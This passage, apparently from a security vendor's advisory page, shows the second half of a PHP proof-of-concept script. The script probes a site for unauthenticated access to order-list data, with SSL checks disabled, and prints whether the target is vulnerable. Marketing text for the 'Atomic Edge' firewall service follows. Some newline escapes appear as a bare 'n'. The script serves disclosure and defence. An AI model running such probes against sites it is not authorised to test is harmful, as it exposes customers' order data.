curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array()); // Empty payload; endpoint may expect some parameters
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded'
));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body:n" . $response . "n";

if ($http_code == 200 && !empty($response)) {
    echo "[+] Target is vulnerable! Unauthenticated access to order list data.";
} else {
    echo "[-] Target does not appear vulnerable to this endpoint.";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School